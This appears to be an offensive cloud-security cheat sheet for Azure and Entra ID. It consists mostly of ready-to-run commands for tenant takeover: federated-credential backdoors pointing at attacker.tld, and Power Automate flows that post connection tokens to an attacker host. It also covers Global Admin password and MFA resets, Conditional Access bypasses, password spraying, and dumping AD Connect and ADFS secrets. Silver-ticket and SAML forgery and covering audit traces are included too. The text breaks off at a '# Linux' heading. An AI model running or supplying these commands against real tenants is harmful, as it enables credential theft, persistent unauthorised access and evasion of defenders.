# From a GitHub Actions runner (or anywhere with that OIDC token)
TOKEN=$(curl -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value)
curl -X POST https://login.microsoftonline.com/<tid>/oauth2/v2.0/token \
-d "client_id=<appId>" \
-d "scope=https://graph.microsoft.com/.default" \
-d "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \
-d "client_assertion=$TOKEN" \
-d "grant_type=client_credentials"
# AWS -> Entra: federate an IAM Role's STS-issued OIDC token
az ad app federated-credential create --id <appId> --parameters '{
"name":"aws-role",
"issuer":"https://oidc.eks.us-east-1.amazonaws.com/id/CLUSTERID",
"subject":"system:serviceaccount:default:my-sa",
"audiences":["api://AzureADTokenExchange"]
}'
# Google -> Entra: workload identity from GKE / GCE
az ad app federated-credential create --id <appId> --parameters '{
"name":"gcp-sa",
"issuer":"https://accounts.google.com",
"subject":"<numeric-sa-id>",
"audiences":["api://AzureADTokenExchange"]
}'
# Self-hosted OIDC issuer (you control DNS)
az ad app federated-credential create --id <appId> --parameters '{
"name":"self",
"issuer":"https://oidc.attacker.tld",
"subject":"backdoor",
"audiences":["api://AzureADTokenExchange"]
}'
# Spin up minimal OIDC issuer with go-oidc-issuer or manual JWKS at /.well-known/jwks.json
Update application certificates and secrets audit eventAdd federated identity credential is logged under Update application but with subtle additionalDetails - easy to miss in default Sentinel rulesAdd federated identity credential event, baseline trusted issuers, alert on subjects containing wildcardsXTAS (the successor to legacy B2B settings) lets a tenant define which external tenants can collaborate, with what trust level (e.g. "trust their MFA claim", "trust their compliant device claim"). A misconfigured XTAS = attacker tenant can mint tokens that the victim tenant accepts as MFA-satisfied even though attacker MFA is junk.
# Enumerate XTAS as authenticated user
Get-MgPolicyCrossTenantAccessPolicyDefault
Get-MgPolicyCrossTenantAccessPolicyPartner
Get-MgPolicyCrossTenantAccessPolicyPartner -CrossTenantAccessPolicyConfigurationPartnerTenantId <tid>
# Look for inboundTrust.isMfaAccepted = true / isCompliantDeviceAccepted = true
# Any external user from that tenant bypasses victim MFA + compliance CA
B2B Direct Connect (used by Teams Connect Shared Channels) creates a no-account trust where users from tenant A appear in tenant B's Teams without ever provisioning a guest. Misconfig: enable Direct Connect with a low-security partner tenant -> their compromised users get Teams + Files access in your tenant.
Get-MgPolicyCrossTenantAccessPolicyPartner | \
Where-Object { $_.B2bDirectConnectInbound.UsersAndGroups.AccessType -eq 'allowed' }
Cross-tenant sync provisions users from a source tenant into a target tenant automatically. If you compromise the source tenant and add yourself to the synced scope, you get auto-provisioned into the target as a member (not guest), often with default group memberships.
# Find inbound provisioning jobs (target tenant side)
Get-MgServicePrincipalSynchronizationJob -ServicePrincipalId <sp_id>
# Source tenant adds attacker user to scope, target tenant auto-creates internal user
# Attacker user inherits group memberships per attribute mapping
In 2023, Storm-0558 stole an MSA consumer signing key, discovered it could also sign Entra tokens for any tenant due to a validation bug, and forged tokens for ~25 orgs including US gov. The pattern:
oid, tid, appid, rolesDefensive lesson and red team angle: any Tier-0 KMS / HSM hosting OIDC signing material is a Domain Controller equivalent. Targets: ADFS signing cert, Entra ID Connect signing cert, custom OIDC issuers, federated app signing.
A multi-tenant app registered in attacker tenant but consented to by victim tenant lives in victim tenant as a Service Principal. From attacker tenant you control the application object (can add credentials, add federated creds, change reply URLs). The SP in victim tenant inherits all those changes silently.
# Register multi-tenant app in attacker tenant
az ad app create --display-name "DocumentSync" --sign-in-audience AzureADMultipleOrgs
# Get victim user to consent (admin or user consent)
https://login.microsoftonline.com/<victim_tid>/oauth2/v2.0/authorize?client_id=<appId>...
# Now from attacker tenant, add a new client secret
az ad app credential reset --id <appId> --append --years 2
# Auth as the SP into victim tenant (the SP exists in victim, the App exists in attacker)
curl -X POST https://login.microsoftonline.com/<victim_tid>/oauth2/v2.0/token \
-d "client_id=<appId>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"
Azure Lighthouse delegates RBAC across tenants: MSP tenant is granted Owner / Contributor on customer subscriptions. Compromise the MSP, get Owner on every customer.
# From a compromised user in MSP tenant
Get-AzManagedServicesAssignment
Get-AzManagedServicesDefinition
# As any user in MSP tenant who is in the authorized PrincipalId, list customer subs
Get-AzSubscription | Where-Object { $_.TenantId -ne (Get-AzContext).Tenant.Id }
az account list --query "[?tenantId!='<msp_tid>']"
Power Automate flows often use connectors authenticated as the flow owner. Run a flow you co-own (or one that triggers on a shared resource) and the connector executes as the owner. If the owner is a privileged user, you get their access.
# List flows you can see
Get-AdminFlow # Microsoft.PowerApps.Administration.PowerShell
Get-AdminFlow -EnvironmentName <env> | Format-Table
# Steal a flow's connection references
Get-AdminFlow -FlowName <fid> -EnvironmentName <env> | Select -Expand Internal
Get-AdminFlowOwnerRole -FlowName <fid> -EnvironmentName <env>
# Add yourself as owner
Set-AdminFlowOwnerRole -PrincipalType User -PrincipalObjectId <your_oid> \
-RoleName CanEdit -FlowName <fid> -EnvironmentName <env>
# Edit the flow to dump connection tokens via HTTP action
# Action: HTTP -> POST https://attacker.tld with body containing @{triggerOutputs()}
Custom connectors hold OAuth tokens / API keys for any external service the maker integrated. Default Environment is the silent killer - all licensed users can read it.
Get-AdminPowerAppEnvironment
Get-AdminPowerAppConnector -EnvironmentName Default-<tid>
Get-AdminPowerAppConnection -EnvironmentName Default-<tid>
# PowerHuntShares + PowerHunt for the discovery layer
# PowerPwn for active abuse
python3 powerpwn.py recon --tenant target.com
python3 powerpwn.py dump-env-data --env Default-<tid>
python3 powerpwn.py phishing --tenant <tid> # send phishing via Power Automate
Power Platform Data Loss Prevention rules block specific connector combinations (e.g. SharePoint + HTTP). Bypasses:
A Power Platform connector OAuth redirect was spoofable, letting an attacker craft a phish URL that appeared to originate from Microsoft and capture the consent grant. Patched server side; legacy custom connectors with similar redirect_uri patterns are still abusable.
# Dump every dataset you can read
Get-PowerBIDataset -Scope Organization
Invoke-PowerBIRestMethod -Url "datasets/<dsid>/executeQueries" -Method Post \
-Body '{"queries":[{"query":"EVALUATE Customers"}]}'
Dataverse (the Power Platform backing DB) holds custom business tables, often with HR, CRM, financial data. Maker role + WebAPI = full read on every table.
curl -H "Authorization: Bearer $TOKEN" \
"https://<env>.crm.dynamics.com/api/data/v9.2/EntityDefinitions"
curl -H "Authorization: Bearer $TOKEN" \
"https://<env>.crm.dynamics.com/api/data/v9.2/contacts?\$select=fullname,emailaddress1"
# AzureHound (BloodHound CE)
azurehound list -u [email protected] -p password -t tenant -o output.json
# ROADtools
roadrecon auth -u [email protected] -p password
roadrecon gather && roadrecon gui
roadrecon plugin policies # Conditional Access
# StormSpotter
stormcollector cli # neo4j visualization
# Connect
Connect-AzAccount / az login
# Enumerate
Get-AzADUser -All / az ad user list
Get-AzADGroup -All / az ad group list
Get-AzADApplication -All / az ad app list
Get-AzRoleAssignment / az role assignment list
Get-AzResource / az resource list
# Conditional Access
Get-MgIdentityConditionalAccessPolicy
# Additional
Get-AADIntTenantDetails
Get-AADIntAccessPolicies
Get-AzureADPSPermissions # PowerZure
Get-AzDoServicePrincipals # DevOps SPs
GET https://graph.microsoft.com/v1.0/users
GET https://graph.microsoft.com/v1.0/groups
GET https://graph.microsoft.com/v1.0/applications
GET https://graph.microsoft.com/v1.0/servicePrincipals
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments
GET https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies
# Find dynamic groups
Get-AzureADGroup | fl displayName, Id, DynamicMembership, DynamicMembershipRule
# Modify user attributes to match rule -> auto-join privileged group
| Technique | Impact |
|---|---|
App with RoleManagement.ReadWrite.All |
Can assign Global Admin to any user |
App with AppRoleAssignment.ReadWrite.All |
Can grant any app role to any SP |
| Privileged Role Administrator | Can assign any role including GA |
| Application Administrator | Can add creds to any app/SP |
| Cloud Application Administrator | Add creds to apps/SPs but CANNOT manage on-prem synced apps (see AZCloudAppAdmin) |
| Privileged Authentication Administrator | Reset password + MFA of Global Admins (see AZPrivilegedAuthAdmin) |
| Authentication Administrator | Reset password/MFA of non-privileged users only |
| Hybrid Identity Administrator | Silent AddOwner on apps/SPs, federation control |
| Directory Synchronization Accounts | GA-equivalent Graph writes, hidden from admin dashboards |
| Partner Tier1 / Tier2 Support | Silent AddOwner, GA-equivalent for B2B scenarios |
| Intune Administrator | Push scripts -> SYSTEM on devices |
| PIM Abuse | Activate eligible GA role |
| User Access Administrator | Full Azure RM role assignment (see AZUserAccessAdministrator) |
Global Admin is the apex Entra role but by default has NO Azure RM rights on subscriptions. The elevateAccess toggle flips the tenant-root Management Group so GA gains User Access Administrator at /, inheriting Owner on every subscription.
# The canonical GA-to-all-subs one-liner
az rest --method post \
--uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Post-toggle: GA now has UAA at root tenant MG -> assign Owner on every sub
az account list --query "[].id" -o tsv | while read sid; do
az role assignment create --assignee <me> --role Owner --scope /subscriptions/$sid
done
# Clean up (leave no trace that you toggled)
az rest --method delete \
--uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# AADInternals / Az.Accounts equivalent
Invoke-AzElevatedAccessManagementRoleToggle
Audit trail: the elevateAccess call writes a single Azure Activity Log event Microsoft.Authorization/elevateAccess/action. Most tenants never fire this event so it is a high-fidelity detection - schedule the toggle for off-hours only if you accept the risk.
Privileged Authentication Administrator (PAA) is distinct from Authentication Administrator: PAA can reset the password AND MFA methods of ANY user, including Global Admins and other privileged roles. Regular Authentication Admin cannot touch privileged users.
Path: AZPrivilegedAuthAdmin -> reset GA password -> sign in as GA -> tenant takeover.
# MS Graph PowerShell - reset target password
$pwd = @{ password = "Evil!Pass123"; forceChangePasswordNextSignIn = $false }
Reset-MgUserAuthenticationMethodPassword -UserId <ga_upn> -BodyParameter $pwd
# Alt: update via user endpoint (requires PAA effective perms)
Update-MgUser -UserId <ga_upn> -PasswordProfile @{ Password = "Evil!Pass123"; ForceChangePasswordNextSignIn = $false }
# Azure CLI
az ad user update --id <ga_upn> --password "Evil!Pass123" --force-change-password-next-login false
BARK primitive:
New-PasswordResetRequest -Token $GraphToken -TargetUserId <ga_oid> -NewPassword "Evil!Pass123"
Also wipe MFA methods so the reset password actually gets you a session:
Get-MgUserAuthenticationMethod -UserId <ga_upn>
Remove-MgUserAuthenticationPhoneMethod -UserId <ga_upn> -PhoneAuthenticationMethodId <id>
Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -UserId <ga_upn> -MicrosoftAuthenticatorAuthenticationMethodId <id>
Cloud Application Administrator looks identical to Application Administrator on paper but has a critical carveout: it can manage cloud-only app registrations and service principals, but CANNOT manage applications that are on-prem synced (Application Proxy apps, apps with servicePrincipalType == Application backed by a synced identity). Those are locked to Application Administrator.
This is a common BloodHound path-finding pitfall: a path that traverses an AZCloudAppAdmin edge to a synced app will not actually work. Verify with:
Get-MgServicePrincipal -ServicePrincipalId <sp> -Property servicePrincipalType,appOwnerOrganizationId
# servicePrincipalType == "Application" + on-prem origin = AZCloudAppAdmin cannot touch
# Add secret to privileged app
az ad app credential reset --id <appId> --append --years 2
az ad sp credential reset --id <spId> --append
az ad sp credential list --id <spId>
# Managed Identity token theft
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
Conditional Access is a policy decision point, but the decision depends on signals the client sends. Lie about the client, lie about the platform, lie about the device, and the policy decision changes.
# Bypass Block Legacy Auth - force modern client ID even for ROPC
roadtx gettokens -c msgraph -u [email protected] -p pass \
--user-agent "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36"
# Bypass Require Compliant Device via client that doesn't support device claims
# Client IDs that historically skip device check:
# 1b730954-1685-4b74-9bfd-dac224a7b894 Azure AD PowerShell
# 1950a258-227b-4e31-a9cf-717495945fc2 Azure PowerShell
# 04b07795-8ddb-461a-bbee-02f9e1bf7b46 Azure CLI
# d3590ed6-52b3-4102-aeff-aad2292ab01c Microsoft Office
roadtx gettokens -c azurecli -r https://graph.microsoft.com
# FOCI (Family of Client IDs) switch - use a client that has different CA scoping
roadtx refreshtokenauth -r https://management.azure.com -c msoffice --refresh-token <rt>
# Spoof User-Agent to appear as "Mobile App" excluded from CA
curl -H "User-Agent: Outlook-iOS-Mobile" https://graph.microsoft.com/v1.0/me
# Bypass MFA-required CA via refresh token (MFA claim carried, no re-prompt)
# A refresh token minted once with MFA remains MFA-claimed for its lifetime (90d)
# Register a virtual device that claims compliance
roadtx device -a register -n DESKTOP-PWN --os Windows --version "10.0.22631"
roadtx device -a join -n DESKTOP-PWN
# Mark as compliant by pushing fake Intune check-in
roadtx device -a setcompliant -n DESKTOP-PWN
# Get PRT from the virtual device
roadtx prt -hello -c <client_id> -r https://graph.microsoft.com
Token Protection binds tokens to a device key. Bypass: use a client that does not support TP yet (most non-Outlook clients as of 2025), or downgrade the binding via refresh with an older client.
# Residential proxy / AWS API Gateway via FireProx for IP rotation
python3 fire.py --access_key <AK> --secret_access_key <SK> \
--region us-east-1 --command create --url https://login.microsoftonline.com
# Low-and-slow to avoid Identity Protection risk engine
# One auth per 20min per account from different IPs
trevorspray -u users.txt -p pass --interval 1200 --ssh proxy1 proxy2 proxy3
# Tor exit as "Named Location" bypass if Tor not explicitly blocked
Conditional Access applies only to interactive / user-context tokens. Service Principal and Managed Identity tokens bypass CA unless you enable Workload Identity CA (Entra ID P2 + Workload Identities Premium). Most tenants do not have WID CA. Any stolen client_credentials SP token laughs at CA.
# With Policy.ReadWrite.ConditionalAccess, add self to exclusion
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId <pid>
$policy.Conditions.Users.ExcludeUsers += "<attacker_oid>"
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId <pid> \
-Conditions $policy.Conditions
See Workload Identity Federation Abuse section. Adding a federated credential to an existing app leaves no secret, does not fire the secret-rotation audit event, and survives user password resets. Top-tier persistence for 2024-2025.
# Add self as owner of a privileged app (via Application.ReadWrite.OwnedBy or Directory.ReadWrite.All)
az ad app owner add --id <appId> --owner-object-id <attacker_oid>
# As owner, add credentials at will
az ad app credential reset --id <appId> --append --years 10
# BHE / BloodHound edge: OwnedBy
BloodHound models AZAddOwner (Entra directory ownership adds) separately from the Azure portal view. The portal only surfaces the MOST-RECENT registered owner of an app or SP, so an attacker who adds themselves as a second owner is effectively invisible in the Enterprise Applications blade. You must query Graph directly to enumerate true ownership.
Roles that grant INVISIBLE owner-add (the owner-add does not fire the "role assignment" audit and is not shown in portal ACLs for the principal being owned):
# MS Graph PowerShell - add owner on SP
New-MgServicePrincipalOwnerByRef -ServicePrincipalId <spId> -BodyParameter @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"
}
# Add owner on Application object
New-MgApplicationOwnerByRef -ApplicationId <appObjectId> -BodyParameter @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"
}
BARK primitives (used by BH itself when demonstrating the edge):
New-AppOwner -AppObjectId <oid> -NewOwnerObjectId <attacker_oid> -Token $Token
New-ServicePrincipalOwner -SpObjectId <oid> -NewOwnerObjectId <attacker_oid> -Token $Token
New-GroupOwner -GroupObjectId <oid> -NewOwnerObjectId <attacker_oid> -Token $Token
AZMGAddOwner (the MS Graph permission variant) is granted by any of:
Application.ReadWrite.AllDirectory.ReadWrite.AllGroup.ReadWrite.All (groups only)RoleManagement.ReadWrite.DirectoryServicePrincipalEndpoint.ReadWrite.All (obscure, SPs only - see dangerous perms)Enumerate hidden owners post-compromise:
# Raw Graph - portal only shows latest owner, this shows all
az rest --method get --url "https://graph.microsoft.com/v1.0/servicePrincipals/<spId>/owners"
az rest --method get --url "https://graph.microsoft.com/v1.0/applications/<appObjectId>/owners"
BloodHound tracks TWO different ownership edges that look identical in English but have completely different abuse surfaces:
| Edge | Plane | Meaning | Abuse |
|---|---|---|---|
AZOwner |
Azure RM (ARM) | Built-in Owner RBAC role assignment on a subscription / RG / resource |
Full control of the resource, can assign any RBAC role at that scope |
AZOwns |
Entra ID (directory) | Directory-object owner of an app, SP or group | Can add credentials, add owners, modify object, but NO Azure RM rights |
A principal that AZOwns an app registration can mint new secrets for that app but cannot touch the subscription the app has roles on until they auth AS the SP. Conversely, AZOwner on a subscription does not give you any Entra-side rights on the apps running in it.
# AZOwner (ARM) - check role assignments
az role assignment list --assignee <oid> --all --query "[?roleDefinitionName=='Owner']"
# AZOwns (Entra) - check directory ownership
az rest --method get --url "https://graph.microsoft.com/v1.0/users/<oid>/ownedObjects"
Two app/SP trust edges that are conceptually tied:
App --AZRunsAs--> SP.Canonical chain:
Compromise app owner -> AZOwns App -> AZRunsAs SP -> AZAuthenticatesTo SP -> SP has AZHasRole GA
Tradecraft (FIC backdoor as AZAuthenticatesTo primitive):
# Add FIC on target app pointing at attacker-controlled OIDC issuer
az rest --method post \
--url "https://graph.microsoft.com/v1.0/applications/<appObjectId>/federatedIdentityCredentials" \
--body '{"name":"pwn","issuer":"https://attacker.tld","subject":"pwn","audiences":["api://AzureADTokenExchange"]}'
# Then roadtx / custom JWT -> token exchange -> SP token. No secret stored in Entra.
Cross-reference: Workload Identity Federation Abuse.
BloodHound models Azure hierarchy via AZContains:
Tenant (root)
└── Management Group
└── Subscription
└── Resource Group
└── Resource (VM, KV, Storage, ...)
A role assignment at any node cascades DOWN via AZContains - so Owner at a subscription gives Owner on every RG and every resource inside. This is how BH computes transitive paths.
AZScopedTo is the complementary edge: it records the SCOPE of a specific role assignment. An Entra role can be:
directoryScopeId = "/") - blast radius = entire tenantdirectoryScopeId = "/applications/<id>") - scoped to a single app or groupWhy this matters: an Application Administrator assignment can be scoped to ONE app registration, which reduces blast radius dramatically. BH path-finding must follow AZScopedTo to avoid false positives. When planning a path, always query the scope:
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '<oid>'" `
| Select roleDefinitionId, directoryScopeId
# directoryScopeId == "/" means tenant-wide. Anything else is object-scoped.
ARM side:
# Role assignments with their scopes (AZScopedTo on the ARM plane)
az role assignment list --assignee <oid> --all --query "[].{role:roleDefinitionName,scope:scope}"
Composition view in BloodHound CE exposes these edges - use the BH composition graph on any computed path before trusting it.
PIM has two states for a role assignment:
| State | Edge | Meaning | Query |
|---|---|---|---|
| Active | AZHasRole |
Role is currently effective, user has its permissions right now | roleAssignmentSchedule |
| Eligible | AZRoleEligible |
User can ACTIVATE the role (with or without MFA/approval) but does not currently hold it | roleEligibilitySchedule |
# Enumerate your eligible roles
Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "principalId eq '<my_oid>'"
# Enumerate all eligible assignments tenant-wide (needs RoleManagement.Read.Directory)
Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -All
Activation pattern:
New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter @{
action = "selfActivate"
principalId = "<my_oid>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin
directoryScopeId = "/"
justification = "Break-glass"
scheduleInfo = @{
startDateTime = (Get-Date).ToString("o")
expiration = @{ type = "AfterDuration"; duration = "PT8H" }
}
}
Activation duration caps at whatever the role policy allows (usually 1-8h). Some roles require MFA at activation time - use a token already MFA-claimed to avoid re-prompt.
When a PIM role requires approval, an Approver is defined in the role management policy. BloodHound draws AZRoleApprover from that principal to the role. Compromise the approver and auto-approve your own activation requests.
# Discover the approvers for a role (policy assignment lookup)
Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'"
# For each policy id, read the approval rule
Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId <pid> -ExpandProperty Rules |
Select -ExpandProperty Rules | Where-Object { $_.Id -like "*Approval*" }
Exploitation chain:
/roleManagement/directory/roleAssignmentScheduleRequests/<reqId>/approve# Approve own request as compromised approver
$body = @{ justification = "approved"; decision = "Approve" }
Invoke-MgGraphRequest -Method POST `
-Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests/<reqId>/approve" `
-Body $body
Bonus: approvers are often hand-picked "trusted" accounts that are themselves less protected than the target role (e.g. a non-GA manager approving GA activations) - classic weakest-link scenario.
User.ReadWrite.All, Helpdesk Admin, Password Admin, User Admin, Auth Admin (non-priv users only), and Privileged Auth Admin all produce this edge.
# Reset via Graph
az ad user update --id <upn> --password "Evil!Pass123" --force-change-password-next-login false
# Azure AD PowerShell (legacy)
Set-AzureADUserPassword -ObjectId <oid> -Password (ConvertTo-SecureString "Evil!Pass123" -AsPlainText -Force)
Password writeback caveat (critical for hybrid tenants):
Check writeback state:
Get-MgDirectoryOnPremisesSynchronization | Select -ExpandProperty Features
# Look for passwordWritebackEnabled = true
Also: for synced accounts with writeback off, the attacker should target UserPrincipalName / mail attributes via a different edge - password reset is unreliable.
Role-Assignable Groups can hold Entra role memberships. Adding yourself (or a shadow user) to a PAG grants the wrapped role and hides the direct assignment from roleAssignments.
Get-MgGroup -Filter "isAssignableToRole eq true"
New-MgGroupMember -GroupId <pag_id> -DirectoryObjectId <attacker_oid>
# Create long-activation-window eligible GA for attacker
New-MgRoleManagementDirectoryRoleEligibilityScheduleRequest -BodyParameter @{
action="adminAssign"
principalId="<attacker_oid>"
roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"
directoryScopeId="/"
scheduleInfo=@{
startDateTime=(Get-Date).ToString("o")
expiration=@{ type="noExpiration" }
}
justification="Backup admin"
}
Lifecycle Workflows automate joiner/mover/leaver actions. Create a workflow that, on user offboarding, runs a Logic App that grants the attacker access. Triggers when defenders try to disable the attacker identity.
Custom Security Attributes are rarely audited and can be used as a covert marker for dynamic group rules (e.g. user.customSecurityAttributes.backdoor -eq "yes" -> auto-add to privileged group).
Add inbound provisioning from an attacker-controlled tenant; whenever the victim offboards the attacker identity, it gets reprovisioned on next sync.
# Become owner of a privileged SP
az rest --method POST \
--url "https://graph.microsoft.com/v1.0/servicePrincipals/<spId>/owners/\$ref" \
--body '{"@odata.id":"https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"}'
Classic: assign a less-audited but still powerful role (Partner Tier1 Support, Partner Tier2 Support, Directory Synchronization Accounts, Authentication Administrator) as shadow admin. Authentication Administrator can reset MFA / passwords for non-admin users. Directory Synchronization Accounts is effectively GA-equivalent but often hidden from "admin" dashboards.
# With Policy.ReadWrite.AuthenticationMethod + UserAuthenticationMethod.ReadWrite.All
New-MgUserAuthenticationFido2Method -UserId <victim> -BodyParameter @{...}
# Register attacker's FIDO2 key on victim account - future logins satisfy MFA
| Component | Role | Credential / Cert |
|---|---|---|
| Azure AD Connect (legacy, on-prem) | Pushes identities from AD to Entra | MSOL_* account (AD, DCSync rights); Sync_* account (Entra, AAD Connector Space) |
| Entra Connect Sync (rename 2023+) | Same binary, new branding | Same |
| Entra Connect Cloud Sync | Lightweight agent, no SQL, multi-forest | Uses AADConnector_* gMSA + Entra-side app registration |
| Entra Connect Health | Telemetry SaaS + on-prem agent | Agent cert, can read ADFS configs |
| Cloud Kerberos Trust (Cloud Trust) | Replaces ADFS + WHfB cert trust | Uses Cloud TGT signing key stored in Entra |
AD Connect server holds the NT hashes of every synced on-prem user (for PHS) in the SQL DB and in-memory during sync. The MSOL_* AD account has DCSync rights and can dump anything. The Sync_ Entra account can write to AAD Connector Space.
# On the AD Connect server
Get-AADIntSyncCredentials # extract MSOL + Sync_ creds from ADSync SQL
Get-ADSyncAutoUpgrade
Get-ADSyncConnector
# Dump DPAPI-protected keyset used to encrypt sync creds
Get-AADIntLSABackupKeys
mimikatz # lsadump::dcsync /user:<MSOL_account>
# MSOL has DCSync by default
secretsdump.py <domain>/MSOL_<hex>:<pass>@<dc>
# Extract sync credentials from SQL directly (requires local admin)
$Path = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
Invoke-AADIntADSyncLocalDB
MSOL_<hex> - on-prem AD account, DCSync rights, used to read hashesSync_<HOST>_<hex> - Entra ID SP, Directory Sync Accounts role, can sync any user including reset on-prem pwd hash in EntraADSync local service account (gMSA on newer) - runs the serviceCloud Sync is a lightweight agent without SQL, talking to Entra via a signed app registration. It supports multi-forest, can write back attributes, and crucially has no DCSync requirement - it uses targeted LDAP reads via a gMSA. Compromise of the agent host yields the same hashes (for PHS) via the registered service.
# Config paths
C:\ProgramData\Microsoft\Azure AD Connect Provisioning Agent\Trace
C:\Program Files\Microsoft Azure AD Connect Provisioning Agent\AADConnectProvisioningAgent.exe.config
# Extract agent cert (used as SP credential in Entra)
certutil -store -user my | findstr "AAD Connect Provisioning"
Pass-Through Authentication validates passwords against on-prem DCs via an agent. Install-AADIntPTASpy hooks the PTA agent and logs cleartext passwords of every authenticating user.
Install-AADIntPTASpy
Get-AADIntPTASpyLog -DecodePasswords
# Register a backdoor PTA agent (lets you answer auth requests yourself)
Register-AADIntPTAAgent -MachineName fakehost -FileName backdoor.pfx
Seamless SSO uses a computer account called AZUREADSSOACC$ in on-prem AD. Its Kerberos password never rotates (Microsoft-acknowledged design flaw). Extract its hash from the DC -> forge silver tickets for any synced user via SPN HTTP/autologon.microsoftazuread-sso.com.
# Extract the AZUREADSSOACC$ NT hash
mimikatz # lsadump::dcsync /user:AZUREADSSOACC$
Get-AADIntDesktopSSO # check if enabled
# Forge silver ticket (any user)
mimikatz # kerberos::golden /user:<victim> /sid:<dom_sid> /domain:<dom> \
/rc4:<sso_hash> /target:autologon.microsoftazuread-sso.com \
/service:HTTP /ptt
# Convert to Azure token via Kerberos ticket
roadtx gettokens -c msgraph --kerberos-ticket <b64>
# Rotate to prevent detection (Microsoft recommends, rarely done)
Update-AADIntSeamlessSSO
Cloud Trust replaces ADFS + Windows Hello for Business certificate trust. Entra ID becomes a read-only RODC for Kerberos. A Cloud TGT is minted in Entra and accepted by on-prem DCs via a trust secret. Compromise of the Cloud TGT signing key or the on-prem krbtgt_AzureAD -like account yields on-prem ticket forgery FROM Entra compromise.
# On-prem: Cloud Trust creates a special krbtgt account used for cross-realm tickets
Get-ADUser -Filter 'Name -like "krbtgt_*"' # look for krbtgt_AzureAD or similar
# Enumerate cloud trust
dsregcmd /status | findstr CloudTrust
klist cloud_debug
# Forge inter-realm ticket (Cloud TGT -> on-prem access)
# Requires stolen cloud trust key from Entra side
# See dirkjanm's research + roadtx cloud-kerberos-trust
With Cloud Kerberos Trust, Entra ID hands out TGTs that claim the user's on-prem SID. If you control an Entra user whose onPremisesSecurityIdentifier you can write (via certain Graph perms), you forge a SID that maps to Domain Admins on prem -> Cloud SID Forgery.
# Export signing cert + private key
Export-AADIntADFSSigningCertificate
Export-AADIntADFSConfiguration -Hash <dkm_hash>
# Forge SAML as GA
New-AADIntSAMLToken -UserName [email protected] -UseBuiltInCertificate -Issuer "http://adfs.target.com/adfs/services/trust"
# Backdoor federation - add attacker-controlled issuer
ConvertTo-AADIntBackdoor -DomainName target.com
Set-AADIntDomainAuthentication -DomainName target.com -Authentication Federated \
-IssuerUri "http://any.sts/adfs" -LogOffUri "https://attacker.tld/logoff" \
-PassiveLogOnUri "https://attacker.tld/login"
# Issue token as ANY user in the domain
New-AADIntSAMLToken -UserName [email protected] -UseBuiltInCertificate
Entra stores federation config per verified domain. A persistence trick is to add a second, unused verified domain (e.g. evil.target.com), federate it to an attacker STS, and create immutableIds mapping synced users to that federated domain. Future logins can be routed via the attacker STS.
The Connect Health agent has permissions to read ADFS event logs and config. Compromise of the Health agent on an ADFS server = read the signing cert material + ADFS config DB.
Get-Service ADHealth*
Export-AADIntADFSConfiguration -AsXml
The Cosmos DB Jupyter Notebook feature exposed the primary key via an unauthenticated endpoint. Every Cosmos account with notebooks enabled leaked its master key for ~2 years. The feature has been patched, but the pattern (notebook RCE -> read management plane keys) applies to any notebook-backed data service.
# Historic exploit
curl https://<account>.documents.azure.com/_explorer/emulator.pem # leak cert
curl https://notebooks.azure.com/api/... /notebookClusterHostKeys # leak primary key
# Read with stolen primary key (still works if keys not rotated)
curl -H "Authorization: type=master&ver=1.0&sig=<hmac>" \
https://<account>.documents.azure.com/dbs
# List all keys (needs Storage Account Contributor or listKeys action)
az storage account keys list -g <rg> -n <account>
az storage account keys list -g <rg> -n <account> --query "[0].value" -o tsv
# Generate account SAS (read all, write, list, delete, all services)
az storage account generate-sas --account-name <account> \
--services bfqt --resource-types sco --permissions cdlruwap \
--expiry 2030-01-01 --https-only
# User delegation SAS (uses Entra identity, 7 day max, no key theft needed)
az storage blob generate-sas --account-name <account> -c <container> -n <blob> \
--permissions r --expiry 2025-12-31 --auth-mode login --as-user
# Service SAS on a single container
az storage container generate-sas --account-name <account> --name <container> \
--permissions lr --expiry 2030-01-01
# Enumerate without creds (public containers)
az storage blob list --account-name <account> -c <container> --auth-mode login
curl "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"
# Stored Access Policy abuse - edit policy to extend SAS validity
az storage container policy list --account-name <account> -c <container>
az storage container policy update --account-name <account> -c <container> \
--name <policyname> --expiry 2030-01-01 --permissions racwdl
# File shares
az storage share list --account-name <account> --account-key <key>
az storage file download-batch -d . --account-name <account> \
--share-name <share> --pattern "*.ps1"
# Table storage
az storage table list --account-name <account>
az storage entity query -t <table> --account-name <account>
# Queue storage (messages can leak secrets)
az storage message peek --queue-name <q> --account-name <account>
Arc-enabled servers run the Azure Connected Machine Agent (azcmagent). Its credentials live in /var/opt/azcmagent/tokens/ on Linux or C:\ProgramData\AzureConnectedMachineAgent\Tokens\ on Windows. Stealing these lets you impersonate the machine, pull its Managed Identity, and potentially pivot back into Azure.
# Linux
